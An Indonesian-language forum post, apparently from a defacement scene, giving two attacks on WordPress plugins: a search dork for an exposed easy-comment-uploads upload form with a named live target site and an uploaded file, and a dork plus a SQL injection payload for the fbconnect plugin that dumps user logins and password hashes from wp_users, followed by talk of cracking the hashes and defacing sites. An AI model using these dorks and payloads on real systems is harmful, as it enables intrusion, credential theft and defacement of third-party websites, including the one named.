Exploit Wordpress dengan upload-form.php

Dork: inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

live target : http://stamford.mylocalevents.net/wp-con...d-form.php

Hasilnya : http://stamford.mylocalevents.net/wp-content/uploads/2012/04/sutul.txt

numayan buat ngarsip di indeves kak :)

hehe :)

Wordpress Blog Exploit connect to facebook

Dork: inurl:"fbconnect_action=myhome" 




entar agan2  bakal ketemu beberapa info admin di halaman tersebut...
trus ganti url webnya yang ini: ?fbconnect_action=myhome&userid=

menjadi seperti ini:

Code:

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z​0mbyak,7,8,9,10,11,12+from+wp_users-- 

liat, kamu sukses inject, nah sekarang masalahnya, bagaimana kamu crack itu hash password

Tools Deface Wordpress pakai dork : inurl:"fbconnect_action=myhome"